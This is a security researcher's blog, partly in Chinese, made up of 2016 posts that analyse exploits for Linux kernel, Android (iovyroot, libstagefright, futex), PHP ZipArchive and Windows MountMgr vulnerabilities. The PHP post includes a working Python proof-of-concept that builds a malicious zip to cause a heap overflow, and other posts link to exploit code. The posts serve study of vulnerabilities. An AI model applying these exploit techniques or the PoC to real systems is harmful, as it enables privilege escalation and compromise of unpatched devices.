Sunday, December 18, 2016

What I Learnt From the CVE-2016-8655 Exploit

In a recent Exploit of CVE-2016-8655, found and developed by Philip Pettersson, I found an interesting strategy of exploitation on Linux which is worth to be noted and written down.

About the Vul?
The vulnerability is quite straightforward, and has been explained very detailed in the original post. There is an race cond in AF_PACKET socket handling in setsockopt syscall, which will lead to an UAF in the timer_list structure (in socket structure) when closing (/releasing) the socket. The timer_list structure looks as follows, with a function filed as a callback when the timer expires.



With the UAF, overriding the function field by suitable payloads will serve the control flow hijacking.

About the Exploit
An interesting part of the exploit is that, instead of using the sendmsg to fill the UAF timer, add_key is used. With len and payload as arguments, add_key is allowed to create SLAB chunks in any length in fully controlled data.

The code of this syscall can be found in security/keys/keyctl.c . Note that in the following snippet, we can see how add_key can help to fill the UAF.



After hijacking the control flow by overriding the function field. The exploit sets the vsyscall page as r/w. The vsyscall page is a feature for x64 Linux PC distributions. A note-worthy background of it is that vsyscall page is placed at a fixed address 0xFFFFFFFFFF600000, and is accessible from both kernel and user code. By setting the page as r/w, user code can directly write the vsyscall page which is in the kernel memory space, so as to bypass SMEP/SMAP.

The rest of the exploit fakes a ctl_table structure in the vsyscall page, and triggers again the vulnerability, calling the register_sysctl_table to register sysctl entry for modprobe. The idea is to overwrite the modprobe_path global variable with the callback function in ctl_table structure. After overwriting the modprobe_path to the path of the process itself, a new socket is created to call request_module, which will start a new privileged process at the modprobe_path variable.

In conclusion, the techniques I found interesting to note down is:
1) use add_key to fill the UAF;
2) use vsyscall page to bypass SMEP/SMAP;
3) use modprobe_path to escalate the privilege.

BTW. I found a very comprehensive summery of Linux exploitation and mitigation bypass techniques by x82 at http://powerofcommunity.net/poc2016/x82.pdf

Monday, November 28, 2016

Porting iovyroot to Samsung Galaxy S5


I somehow got a Samsung S5 cell phone at hand, with the rom version G9006VZNU1BOJ4. The iovyroot vulnerability is not fixed in it, so I guess there is a chance to exploit it with iovyroot. However, there is no S5 support in offsets.c file. So, Time to get hands dirty again.

About the iovyroot, it is an open-sourced exploit for CVE-2015-1805. I've also wrote a writeup about it in one of my previous posts. (Sorry for the Chinese :P)

First trying to play by the book, I fill in the offsets struct according to my phone. The header file offsets.h and getroot.c give out comprehensive comments to help me walk through this.




My version of offsets struct looks like this:


However, simply run this code didn't end up well. As is also reported in iovyroot issues. S5 has troubles in jumping back to userland exploiting code because of PXN (even though it has a 32bit processor). So JOP gadgets are required.

My JOP gadgets and preparejop() ended up like this:

jop_1 is the address to overwrite the check_flags function pointer. jop_2 leaks out the stack register, and then jumps back to the fcntl syscall routine.

Everything is ready now. It's time to fire up. A weird thing occurs to me is that the system() doesn't work any more after the rooting. I tried to spawn /system/bin/sh but nothing happened. However, after I replaced the system() call to a read to the previlieged file 'init.rc', it worked flawlessly! So, work's done!

Wednesday, June 29, 2016

Exploiting Futex Bug (a.k.a TowelRoot)


These three blogs from nativeflow is very helpful in learning the futex bug, but details in how to exploit is not mentioned.
http://blog.nativeflow.com/the-futex-vulnerability
http://blog.nativeflow.com/escalating-futex
http://blog.nativeflow.com/pwning-the-kernel-root

My code here at github tries to fill this blank. I wrote detailed comments in the code, so it should be quite self-explanatory.  There are also scripts I used to run the emulator, and build the code. I also attached my debugging script. I think this should be helpful to anyone learning this futex bug. My exploit stopped at the full kernel r/w to keep the code clean. To further exploit and gain root should be very easy ( since we already get full kernel r/w ).

I do exactly what these blogs said on environment setup, but there are some discrepancy. When I sendmmsg to override the rt_mutex_waiter struct, it is the iovstack[6] and iovstack[7] override the plist_node struct of the rt_mutex_waiter. So, some tricks should be used to bypass the checks related to the iovstack. Comments in the code should explain this well.

Again, you can check my code at : https://github.com/HighW4y2H3ll/exploitingFutex

Wednesday, May 18, 2016

CVE-2016-3078 PHP ZipArchive Integer Overflow 分析


        这个漏洞的影响范围是PHP 7.0.6版本以前的所有PHP 7.x 版本。PHP的源码可以在这里下到,https://github.com/php/php-src/

PHP源码架构


        PHP源码里的核心库是在Zend目录下。负责php脚本的解析,执行等核心功能。

        TSRM目录下是关于PHP多线程的库。

        ext目录下是实现各种PHP扩展功能的代码。如:ftp,ssl,xml等,也包括这次主要要分析的zip解析的功能。

漏洞详情


        关于CVE-2016-3078,在社区上有人发过:http://seclists.org/bugtraq/2016/Apr/159
主要问题是,当PHP在x86的机器上编译的时候,其中的zend_ulong类型会被编译成不同的长度。



        以上代码来自Zend/zend_long.h。可以看到,如果是在x64环境下编译的话,zend_ulong是64位长度的;如果是x86下的话,就是32位长度的。然后,在php_zip_get_from()函数里,会把一个64位的长度赋值给一个zend_ulong类型的变量,形成整型溢出,然后是堆溢出,通过合理构造输入可以达到任意地址写。

执行流程


        一个可以触发漏洞的简单的php脚本如下:


        在php脚本里,解析zip文件时,先调用ZipArchive::open()来把zip文件读到内存里。在php源码里对应的代码在php_zip.c里:



        其中,open()初始化了一个_ze_zip_object结构体:




        其中的za指向了一个zip结构体,这个结构体存放的是与被解析的zip文件的内容相关的东西。



        其中的zip_source_t *src指向的结构体与zip文件里的数据相关的东西。



        其中的cb是一个union结构体,里面放的是在解压zip压缩包里的文件时调用的回调函数。在open()函数里,这个回调函数会被初始化成read_data()



        再转回php脚本。open()完成之后,然后调用getFromIndex()或者getFromName()读取zip压缩包里的具体文件数据。在php源码里,这两个函数的都直接调用了php_zip_get_from()函数,而这个就是存在漏洞的函数。

        在php_zip_get_from()函数里,会先从Executor Globals里把传入的参数读出来。然后会解析zip文件的dirEntry对应的文件目录,然后更新一个zip_stat结构,存放结果。



        其中size是uint64的,对应zip Entry里的UncompressedSize位。之后会检查从php脚本里传入的参数len是不是小于1,如果是就会把这个size赋值到len。注意,这里len的类型是zend_long。



        然后,调用zip_fopen_index()来解析zip结构,然后更新zip结构体的数据。在解析过程中,这个函数会对zip文件的压缩方式做区分。分别是encrypted,compressed,和store。

        encrypted是加密,需要password;compressed是压缩;store是不压缩,直接存放原始文件数据。然后会在原来的zip结构体之上再重新封装一层zip结构体,并把新的结构体的回调函数注册成相应的解密、解压、crc检查的函数。并返回这个新的结构体的指针。

         接下来,回到php_zip_get_from()函数。zend_string_alloc()函数是触发整型溢出的点。然后下面的zip_fread()函数是堆溢出的点。



        在zend_string()里会先对len做一个边界对齐,会在原始len的大小上加上0x14然后再mask 0xFFFFFFFC。攻击中可以把UncompressedSize设成0xFFFFFFFE,然后会分配一个0x10大小的堆。



        这里面,调用了pemalloc分配堆块。它是php内部实现的一个Memory Allocator。源码在zend_alloc.c里,具体就不展开了。它里面对小的堆块的分配做了优化,所有小堆块都连续分布在一个或多个连续的内存页上,每个空闲的小堆块都用一个单向链表的形式组织起来。第一个空闲的小堆块的地址会放在全局的chunk head的free_slot里。



        当要分配小堆块的内存的时候,会先从free_slot里拿出那个地址,然后根据链表,把下一个free的block地址放到free_slot里。代码如下:



        所以,这就给堆溢出带来了机会。可以先溢出改写下一个free block的头,然后再分配一次,把构造的free block头写入free_slot,然后再分配一次,构造出任意地址写。

        实际的堆溢出发生在后面的zip_fread()函数里。他会递归地调用之前提到的zip结构体里注册的回掉函数。于是,就会先调用之前提到的decrypt/inflate/crc check,然后再调用在open()的时候注册的read_data()函数。这里基本上可以看作是memcpy。

POC:

import struct
import binascii
def file_head( name, data, uncomplen):
r = '\x14\x00\x00\x00'
r += '\x00\x00' # frCompression = FL_STORE
r += '\xBB\x63'
r += '\xAD\x48'
r += struct.pack("<I", binascii.crc32(data)&0xffffffff)
r += struct.pack("<I", len(data))
r += struct.pack("<I", uncomplen)
r += struct.pack("<H", len(name))
r += '\x00\x00'
return r

def file_rec( name, data, uncomplen):
r = '\x50\x4B\x03\x04'
r += file_head( name, data, uncomplen)
r += name
r += data
return r

def dir_entry( offset, name, data, uncomplen):
r = '\x50\x4B\x01\x02'
r += '\x1F\x00'
r += file_head( name, data, uncomplen)
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00\x00\x00'
r += struct.pack("<I", offset)
r += name
return r

def end_loc( num, size, offset):
r = '\x50\x4B\x05\x06'
r += '\x00\x00'
r += '\x00\x00'
r += struct.pack("<H", num) * 2
r += struct.pack("<I", size)
r += struct.pack("<I", offset)
r += '\x00\x00'
return r

# Create 3 files
## SIGV will generate when trying to
## heap->free_slot[bin_num] = exit_plt->next_free_slot;
exit_plt = 0x80910030
payload = struct.pack('<I', exit_plt) + 'B' * 0xC
f1 = file_rec( "XXXX", payload, 0xfffffffe)
f2 = file_rec( "XXXX", 'C' * 16, 0xfffffffe)
f3 = file_rec( "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
# Once more to overcome GC
f4 = f3

d1 = dir_entry( 0, "XXXX", payload, 0xfffffffe)
d2 = dir_entry( len(f1), "XXXX", 'C'*16, 0xfffffffe)
d3 = dir_entry( len(f1+f2), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
d4 = dir_entry( len(f1+f2+f3), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)

end = end_loc( 4, len(d1+d2+d3+d4), len(f1+f2+f3+f4))

with open('poc.zip', 'wb') as fd:
fd.write(f1+f2+f3+f4+d1+d2+d3+d4+end)

Friday, May 6, 2016

libstagefright (CVE-2015-1538) 分析


        CVE-2015-1538 这个漏洞说是整型溢出,看源码看了半天没看明白,然后去逆向了下libstagefright.so,才看出来。

        百度出来很多libstagefright的分析,关于这个CVE的分析都有点问题。



        整型溢出的地方应该是这个new的地方,对应源码是:



        然后才会有越界写。

        别人写的利用代码可以做参考:
        https://github.com/huntcve/exploit/blob/master/cve-2015-1538-update.py

Wednesday, April 27, 2016

Iovyroot (CVE-2015-1805) 分析


        最近Iovyroot似乎非常火,趁着新鲜,这篇文章分析一下Iovyroot,以及对应的CVE-2015-1805


先介绍下iov


        在pipe里面,为了处理异步访问,定义了readvwritev两个syscall。在pipefops里面定义为aio_readaio_write。使用方法在Linux Manual里面有写:




        最主要的是iovec这个数据结构,这个可以在用户态定义,其中iov_base指向一个有读/写权限的用户态地址,iov_len指定向这个地址里读/写多少数据。

        iovcnt参数指定了iovec数组的长度。

        readvwritev定义在fs/read_write.c文件里,下面详细分析一下readvsyscallwritev的差不太多,感兴趣的读者可以自己看一下源码。

        readv里面会对fd做很多检查,首先调用到vfs_readv(),然后调用到do_readv_writev()。其中,会首先对用户态传进来的iovec数组做检查。然后再调用fops里注册的对应函数。对readv来说就是aio_read,也就是pipe_read()


        在rw_copy_check_uvector()函数里,首先会检查传入参数nr_segs(也就是iovcnt),是不是合法,如果nr_segs小于8,就使用栈上的iovstack;如果大于8,就kmalloc出一块新的内存作为iovstack。然后用copy_from_user()把用户态的iovec数组拷到内核态。这个iovstack会在后面调用read_pipe()的时候作为iov参数传入。

        最后,rw_copy_check_uvector()会检查iovstack里面的每个iovec结构体是不是合法的。



CVE-2015-1805



        这个CVE的说明在oss-security社区里有过讨论。有问题的代码在fs/pipe.c文件里的pipe_read()pipe_write()函数里:
pipe_read()函数为例,


        其中,pipe_iov_copy_to_user()的代码如下:


        其实,这个CVE包含两个洞,一个是race condition,还有个是越界访问。

先说race condition


        从上面pipe_read()的代码里可以看出来,如果pipe_iov_copy_to_user()函数返回非零,就会走到goto redo;的代码位置。(看了下iov_fault_in_pages_write()函数,正常情况下函数的返回值应该都是0,所以一般atomic都是非零的)

        再看pipe_iov_copy_to_user()函数里面,因为atomic是非零的,所以正常情况下都会先调用__copy_to_user_inatomic()函数来把pipe里面的数据写到iov里指向的用户空间地址里。如果__copy_to_user_inatomic()函数里面出错了,就会返回非零。根据上面的分析,在pipe_read()函数里就会retry一次,把atomic置零,然后重新调用pipe_iov_copy_to_user()。这时候就会调用常规的copy_to_user()来把数据拷到用户空间。最后,再把iov里面的iov_baseiov_len更新一下。

        __copy_to_user_inatomic()copy_tu_user()唯一的不同在于,__copy_to_user_inatomic()省去了access_ok()的检查。就是说,之前都已经检查过了要写的用户空间的地址是可以写的,就不用再检查一遍,直接把数据写过去。这样做应该是出于效率的考虑,可以拷的更快一点。但是,这里就存在一个问题,第一次调用pipe_iov_copy_to_user()函数的时候,函数里面对iov的数据做了更新,而在retry的时候,调用pipe_iov_copy_to_user()的传入参数并没有更新。于是,可以构造出来一个用户态的溢出。

        这个漏洞的触发方法也非常tricky,要有一个线程不停地对一个内存地址map,再unmap,然后要有另外个线程不停地去read pipe到这个地址,就有一定概率会race成功。当然还要有第三个线程不停地write那个pipe。但是就算成功了也就只有用户态的溢出。

再说越界访问


        仔细看pipe_iov_copy_to_user()的代码,参数里面lenpipe里面的数据的长度,min_t会挑出参数里面,对应类型,较小的那个值。只要每次循环,len都不等于0,而且每个iov_len都足够小,pipe里的数据又足够长的时候,就可以每次循环都让iov递增,最终可以触发越界访问。

        值得注意的是,这个iov是一个指向内核数据的指针。指针越界访问之后,同样也会调用__copy_to_user_inatomic()函数来复制数据,而这个函数又没有对iov_base指针做检查,于是就产生了内核层面的任意地址写。

        在前面的分析中提到,当传入的iovec数组大小超过8,就会在内核堆上分配空间。这样就可以利用堆喷来控制iov指针越界访问的数据。

Iovyroot


        在Iovyroot里面,同时实现了上面两个漏洞的代码,真正有利用价值的只有对越界访问的攻击,而对race condition的攻击实在是有点鸡肋,而且还降低root的成功率。(Check 【Update】)

        在内存布局上,Iovyrootsendmmsg来做堆喷,stop_flag指向用户态的数据,标志攻击成功,并停止攻击。target_ptr指向内核态能被调用的到的函数指针,用来做控制pc


        在堆喷的同时,调用readv,把iovstack布局到内核堆上,并触发漏洞。

        控制pc后,第一步是,泄漏sp,然后找到thread_info结构体,然后修改addr_limit。之后就可以用pipereadwrite在用户态任意地址读写。之后,在thread_info里找到task_structpatch里面的cred,这里面patch还有找initsid的过程可以参考源码:
        https://github.com/dosomder/iovyroot


        找init sid的方法和KEEN的方法不一样。http://www.slideshare.net/jiahongfang5/mosec2015-jfangKEEN是通过遍历task_struct找到init_task,然后再定位到里面的sid。而Iovyroot里是直接搜索selinuxsidtab里的sidtab_node链表,在policydbsym_val_to_name成员里找到对应的名字,如果是“init”就取出对应的sid

        最后,Iovyroot里还patch了两个内核里的全局变量,selinux_enabledselinux_enforcing,应该是用来过selinux的。

########################################

【Update】

        后来又仔细想了下发现之前分析的有点问题,所以又去看了下源码。发现在调用到pipe_iov_copy_to_user()之前有做个检查:



也就是说,允许拷贝出来的数据长度是不会大于iovec数组所有iov_len长度总和的。但是,要让iov越界,就必须要chars > total_len。所以,这里就要用前面的那个race condition来bypass。

        利用race condition可以产生一定长度的错位,然后可以顺利地让iov指针向下读到可控的内存区域。

Wednesday, April 20, 2016

CVE-2015-3864 libstagefright攻击学习


        CVE-2015-3864libstagefright.so里的一个整形溢出漏洞,在Google ProjectZero的博客里已经写的非常详细了。现在接着这个机会学习一下Arm架构以及安卓的系统,然后把这个利用移植到Samsung I9023手机上(Android版本4.1.2)。这篇博客就记录下我自己走过的坑,写点google的博客里没提到的。顺便推荐一个网站,www.androidxref.com,有各个版本的Android源码,不用自己去下了,非常方便。

        先简单介绍下背景。具体漏洞位置是在解析mp4文件的MPEG4Extractor::ParseChunk()函数里,处理tx3g标签时的一个整形溢出,进一步导致堆溢出。在4.1.2的安卓版本里,这个地方的代码还不太一样,少了一个判断语句,应该算是更早之前的一个什么洞。不过问题也不是很大,利用过程都大同小异,没太大差别。



        然后利用方法就是Google博客里写的,先堆喷,再挖空,然后把可控数据结构填进去,再触发漏洞,形成越界写,覆盖下一结构的虚表,进而控制PC。大体思路是这样的。但是4.1.2版本的libstagefright的代码不太一样。似乎是太老的缘故,对很多标签的解析都没有,所以还要重新去找。

堆喷


        Google博客上说的堆喷用的是对‘pssh’标签解析,但在4.1.2上没有实现pssh标签的解析。经过一番查找,我找到另外两个适合做堆喷的标签,一个是‘mdat’,还有个是‘covr’


        在解析mdat标签的代码里,有一个parseDrmSINF()函数,里面有个可控的循环可以不停地分配可控大小的堆块。乍一看感觉非常理想。结果后来调试的时候发现一直跑不到那个函数。一看才发现是前面的一个mIsDrm标志是空的。再仔细往下看,发现这个是和DRM(数字版权管理)有关系。具体细节后面再讲。总之最后得出结论是用不了。



        然后是covr标签,有个内存泄漏。New了之后没有做delete。可以做堆喷。



关于DRM


        要想置位mIsDrm标记,似乎唯一的机会就是在MediaExtractor::Create()函数里。



        在MediaExtractor::Create()函数里,首先会调用一系列注册好了的sniff函数。Sniff函数的作用是检查这个文件到底是什么格式的,每过一个sniff函数就会更新一个confidence值,confidence值最高的那个就是识别出来的文件格式。然后MediaExtractor::Create()函数会根据不同的文件格式,分发到不同的Extractor函数里。


        所以,关键是在SniffDRM函数里要让这个文件通过。根据代码,要通过SniffDRM关键似乎是在一开始的source->DrmInitialization()里面,然后会进一步地调用到ChromiumHTTPDataSource::DrmInitialization()。然后这个函数里会对mDrmManagerClient->openDecryptSession()函数的返回值进行判断。而,这个函数,经过一系列调用,会走到DrmEngineBase::openDecryptSession(),最后调用 onOpenDecryptSession()openDecryptSession() 定义成虚函数,经过一番查找,最后发现所有的openDecryptSession()定义的地方都是直接返回DRM_ERROR_CANNOT_HANDLE,也就是说Android framework里面默认是不对DRM进行处理的。Framework里就定义了这样个接口,开发者可以去继承这个类,实现这个接口。后来又看到了一篇博客,于是便释然了。

        结论就是,在原生的Android framework上不能用DRM,有mIsDrm标志的条件跳转一定是Null的。不过,可能有些别的厂商实现了DRM的功能,就可以用了。

关于Heap Grooming


        在Google的利用代码里还用到了‘hvcC’标签,这个在4.1.2里也是没有的。不过替代的方案很多,有很多标签用setCString()设置字符串的都可以用,不过在我的代码里用的是和hvcCavcC比较类似的esds标签。他们都是用setData()函数的。

        关于setData()函数,内部是一个对KeyedVector的操作,一个key对应一个value。当setData()key值已经存在时,setData()会先把key对于的value的内存地址free掉,然后再malloc一块新的value大小的内存,然后再memcpy把数据拷过去。setCString()函数内部就是一个重新封装了的setData()

还有关于堆喷的


        在covr标签的代码里,最后也会有一个setData()函数,不过只要每次堆喷的大小一样就不影响布局了。

        攻击过程还是通过浏览器实现的,所以堆喷的时候还不能喷地太多,否则程序会提前中止。NorthBitMetaphor里提到用XMLHTTPRequest来请求,可以绕过这个限制。


        不过,我最后还是手工地选取堆喷地址,最后也能得到一个稳定的PC control

关于Info Leak


        还是NorthBitMetaphor,里面提到4.4以下的版本没办法Info Leak。我又自己去看了下源码,确实是这样,原因还是在那个DRMflag。然后我看了下那个接口的onTransact代码,似乎是没有别的办法做Info Leak了。

最后


        ROP阶段我用的是ROPGadget,找gadget非常方便。

        写shellcode参考的是promised_lu的文章http://bbs.pediy.com/showthread.php?t=155774

        最后,因为没办法Info Leak,所以还是用Google的方法,以1/256的概率撞libc地址。测下来大概跑700次能成1次。

        我写的攻击源码在这里https://github.com/HighW4y2H3ll/libstagefrightExploit


Friday, January 8, 2016

CVE-2015-1769 分析

CVE-2015-1769分析


CVE-2015-1769是一个发生在Mount Manager里的一个Symbolic Link Attack逻辑漏洞。MountMgr.sys的版本号是6.3.9600.16384。问题发生在MountMgr.sys这个驱动程序里,它包含了Mount Manager的实现代码。Mount Manager负责给插入的USB设备分配的挂载点,并分配挂载点的符号链接(盘符路径)。在MountMgr.sys驱动程序初始化的阶段,它注册了一个回调函数MountMgr!MountMgrMountedDeviceNotification,在U盘插入时,系统会通过PnP Manager调用到这个函数。接下来会调用到MountMgr!MountMgrMountedDeviceArrival函数,如果不出意外的话,正常情况下可以走到MountMgr!RegisterForTargetDeviceNotification函数,这里面又重新注册了一个函数MountMgr!MountMgrTargetDeviceNotification。这个函数处理了三种情况: GUID_TARGET_DEVICE_REMOVE_COMPLETEGUID_IO_VOLUME_MOUNTGUID_IO_VOLUME_UNIQUE_ID_CHANGE。其中后两个事件都可以触发该漏洞,GUID_IO_VOLUME_MOUNT应该是比较直观的一个,直接处理挂载磁盘的任务,这里需要通过一个检验Context+0x38 != 0x00,之后会进入MountMgr!ReconcileThisDatabaseWithMaster函数,然后还要通过一个检验,Context+0x37 = 0x00,之后注册MountMgr!ReconcileThisDatabaseWithMasterWorker函数处理磁盘挂载任务。在这个函数里面,通过了一些无关紧要的检查之后就会调到最终的关键函数MountMgr!OpenRemoteDatabase。里面通过ZwCreateFile函数直接打开了” \\System Volume Information\\MountPointManagerRemoteDatabase”,当这个文件是一个指向文件的符号链接时,就会以System权限打开的目标文件,并暴露出指向该文件的一个Handle

在实际调试过程中发现,其实并不是所有的USB设备都可以触发漏洞的,可能和U盘的控制器有关系。用我手边的设备试下来就只有两个USB3.0的移动硬盘,还有ADATA S102 Pro 32GB,是成功的。关键的判断逻辑是在MountMgr!MountMgrTargetDeviceNotification函数里,有一个检查Context+0x38=0x00,通过了才能进一步触发有漏洞的逻辑。

既然是个Symbolic Link的漏洞,那一般像CreateFile或者OpenFile的这类的函数都有可能存在漏洞。不过,看了下MS-15-085补丁,MountMgr里面该补的确实是都补掉了。在MountMgr!OpenRemoteDatabase函数里,原本的ZwCreateFile被换成了更底层的IoCreateFile,通过设置IO_STOP_ON_SYMLINK参数检测是不是有Symbolic Link漏洞。

总体来说,CVE-2015-1769是个挺有意思的漏洞,验证方式也非常简单。在任何没有打MS-15-085补丁的机器上,只要把U盘里面System Volume Information目录下的MountPointManagerRemoteDatabase文件变成符号链接,插入电脑,就可以在System权限的目录下创建一个文件。创建符号链接需要有管理员权限,放符号链接的磁盘需要时NTFS格式。可以使用mklink命令或者CreateSymbolicLink函数创建符号链接。


P.S. MountMgr! OpenRemoteDatabase里,有这样一个jnz
若成功跳转,可以执行到一个叫MountMgr!MigrateRemoteDatabase的函数,然后会注册一个MountMgr!MigrateRemoteDatabaseWorker的函数。这个函数会把”\\:$MountMgrRemoteDatabase拷贝到” \\System Volume Information\\MountPointManagerRemoteDatabase”。前面那个是Reparse Point目录,利用方面还不是十分明朗,还要继续学习一下。

UPDATE : 后来发现那个”\\:$MountMgrRemoteDatabaseNTFS里的一个叫stream的东西,是保存在NTFS磁盘上的数据。这样的话就可以利用它和MountPointManagerRemoteDatabaseSymbolic Link组合实现任意目录写文件的攻击。对”\\:$MountMgrRemoteDatabase的设置就和正常文件的读写类似,先CreateFile然后再WriteFile
       MountMgr! OpenRemoteDatabase的逻辑最后,完成了文件内容的拷贝之后,函数会对”\\:$MountMgrRemoteDatabase调用ZwSetInformationFile函数,将stream清空。所以,恶意的U盘每次使用前都需要重新写一遍”\\:$MountMgrRemoteDatabase才能继续使用。
Memo - Windows Driver Major Function

引用自: http://blog.csdn.net/Iqian1314/article/details/5644943

DDK 中有对于一些域的说明
  [00] IRP_MJ_CREATE
  [01] IRP_MJ_CREATE_NAMED_PIPE
  [02] IRP_MJ_CLOSE
  [03] IRP_MJ_READ
  [04] IRP_MJ_WRITE
  [05] IRP_MJ_QUERY_INFORMATION
  [06] IRP_MJ_SET_INFORMATION
  [07] IRP_MJ_QUERY_EA
  [08] IRP_MJ_SET_EA
  [09] IRP_MJ_FLUSH_BUFFERS
  [0a] IRP_MJ_QUERY_VOLUME_INFORMATION
  [0b] IRP_MJ_SET_VOLUME_INFORMATION
  [0c] IRP_MJ_DIRECTORY_CONTROL
  [0d] IRP_MJ_FILE_SYSTEM_CONTROL
  [0e] IRP_MJ_DEVICE_CONTROL
  [0f] IRP_MJ_INTERNAL_DEVICE_CONTROL
  [10] IRP_MJ_SHUTDOWN
  [11] IRP_MJ_LOCK_CONTROL
  [12] IRP_MJ_CLEANUP
  [13] IRP_MJ_CREATE_MAILSLOT
  [14] IRP_MJ_QUERY_SECURITY
  [15] IRP_MJ_SET_SECURITY
  [16] IRP_MJ_POWER
  [17] IRP_MJ_SYSTEM_CONTROL
  [18] IRP_MJ_DEVICE_CHANGE
  [19] IRP_MJ_QUERY_QUOTA
  [1a] IRP_MJ_SET_QUOTA
  [1b] IRP_MJ_PNP